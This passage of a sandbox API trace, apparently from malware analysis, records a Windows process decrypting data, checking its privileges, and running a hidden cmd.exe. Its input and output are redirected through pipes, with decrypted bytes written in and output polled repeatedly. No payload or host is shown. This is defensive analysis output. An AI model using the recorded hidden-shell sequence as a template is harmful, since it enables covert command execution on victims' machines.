pbData=0x22afeb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x5452f0) returned 1 [0049.875] CryptDecrypt (in: hKey=0x5452f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248, pdwDataLen=0x22aff20 | out: pbData=0x545248, pdwDataLen=0x22aff20) returned 1 [0049.875] CryptDestroyKey (hKey=0x5452f0) returned 1 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x53c738 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5440d8 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x5440f0 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x19) returned 0x53c760 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x544108 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd) returned 0x544120 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x53c788 [0049.875] GetProcessHeap () returned 0x520000 [0049.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1b) returned 0x53c7b0 [0049.875] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0049.876] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0049.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0049.876] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0049.876] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0049.876] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0049.876] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0049.876] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0049.876] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0049.877] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5440d8 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5440f0 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c760 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544108 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c788 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c7b0 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c738 | out: hHeap=0x520000) returned 1 [0049.877] GetProcessHeap () returned 0x520000 [0049.877] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x545248 [0049.878] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x545248, ObjectInformationLength=0x1000, ReturnLength=0x22aff04 | out: ObjectInformation=0x545248, ReturnLength=0x22aff04) returned 0xc0000004 [0049.878] GetProcessHeap () returned 0x520000 [0049.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0049.878] GetProcessHeap () returned 0x520000 [0049.878] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x545248 [0049.878] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x545248, ObjectInformationLength=0x2000, ReturnLength=0x22aff04 | out: ObjectInformation=0x545248, ReturnLength=0x22aff04) returned 0x0 [0049.878] RtlGetVersion (in: lpVersionInformation=0x22afdf0 | out: lpVersionInformation=0x22afdf0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0049.878] GetProcessHeap () returned 0x520000 [0049.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545248 | out: hHeap=0x520000) returned 1 [0049.878] GetVersion () returned 0x1db10106 [0049.878] GetCurrentProcess () returned 0xffffffff [0049.878] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x22aff28 | out: TokenHandle=0x22aff28*=0x11c) returned 1 [0049.878] GetTokenInformation (in: TokenHandle=0x11c, TokenInformationClass=0x18, TokenInformation=0x22aff2c, TokenInformationLength=0x4, ReturnLength=0x22aff30 | out: TokenInformation=0x22aff2c, ReturnLength=0x22aff30) returned 1 [0049.878] CloseHandle (hObject=0x11c) returned 1 [0049.879] Wow64DisableWow64FsRedirection (in: OldValue=0x22aff28 | out: OldValue=0x22aff28*=0x0) returned 1 [0049.879] GetProcessHeap () returned 0x520000 [0049.879] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x545248 [0049.879] CryptImportKey (in: hProv=0x534c08, pbData=0x22afec8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x5452b0) returned 1 [0049.879] CryptDecrypt (in: hKey=0x5452b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545248, pdwDataLen=0x22aff2c | out: pbData=0x545248, pdwDataLen=0x22aff2c) returned 1 [0049.879] CryptDestroyKey (hKey=0x5452b0) returned 1 [0049.879] GetProcessHeap () returned 0x520000 [0049.879] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c738 [0049.879] CryptImportKey (in: hProv=0x534c08, pbData=0x22af818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x5452b0) returned 1 [0049.879] CryptDecrypt (in: hKey=0x5452b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c738, pdwDataLen=0x22af8c4 | out: pbData=0x53c738, pdwDataLen=0x22af8c4) returned 1 [0049.879] CryptDestroyKey (hKey=0x5452b0) returned 1 [0049.879] GetEnvironmentVariableW (in: lpName="ComSpec", lpBuffer=0x22af910, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0049.879] CreatePipe (in: hReadPipe=0x22af890, hWritePipe=0x22af888, lpPipeAttributes=0x22af8b8, nSize=0x0 | out: hReadPipe=0x22af890*=0x120, hWritePipe=0x22af888*=0x124) returned 1 [0049.880] CreatePipe (in: hReadPipe=0x22af884, hWritePipe=0x22af894, lpPipeAttributes=0x22af8b8, nSize=0x0 | out: hReadPipe=0x22af884*=0x128, hWritePipe=0x22af894*=0x12c) returned 1 [0049.880] SetHandleInformation (hObject=0x124, dwMask=0x1, dwFlags=0x0) returned 1 [0049.880] SetHandleInformation (hObject=0x128, dwMask=0x1, dwFlags=0x0) returned 1 [0049.881] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x22af8c8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x120, hStdOutput=0x12c, hStdError=0x12c), lpProcessInformation=0x22af8a4 | out: lpCommandLine=0x0, lpProcessInformation=0x22af8a4*(hProcess=0x134, hThread=0x130, dwProcessId=0xa34, dwThreadId=0x5e0)) returned 1 [0049.910] WriteFile (in: hFile=0x124, lpBuffer=0x545248*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x22af8b4, lpOverlapped=0x0 | out: lpBuffer=0x545248*, lpNumberOfBytesWritten=0x22af8b4*=0x5f, lpOverlapped=0x0) returned 1 [0049.910] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0050.399] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0050.399] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.084] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.084] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.116] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.116] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.146] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.147] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.178] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.178] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.734] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.734] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.756] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.756] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.786] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0xb3, lpBytesLeftThisMessage=0x0) returned 1 [0052.786] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0xb3, lpOverlapped=0x0) returned 1 [0052.786] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.818] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.818] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.848] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.849] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.880] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.880] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0052.911] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0052.911] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0053.367] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0053.367] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0053.394] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0053.395] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0053.426] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0053.426] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.636] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.636] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.658] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.658] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.692] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.692] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.720] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x77, lpBytesLeftThisMessage=0x0) returned 1 [0054.721] ReadFile (in: hFile=0x128, lpBuffer=0x22afb18, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x22af89c, lpOverlapped=0x0 | out: lpBuffer=0x22afb18*, lpNumberOfBytesRead=0x22af89c*=0x77, lpOverlapped=0x0) returned 1 [0054.721] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.752] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.752] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.783] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.783] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.814] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.814] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.847] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.847] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.876] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.876] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.908] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.908] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.939] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.939] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0054.970] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0054.970] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.188] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.189] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.303] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.303] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.329] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.329] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.381] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.381] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.407] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.407] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.438] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.438] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.469] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.469] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.500] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.500] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.532] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.532] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.563] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.563] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.595] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.595] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.633] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.633] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.657] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.657] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.688] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.688] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.723] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0055.724] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0055.869] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.248] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.280] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.280] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.312] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0056.312] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0056.345] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, 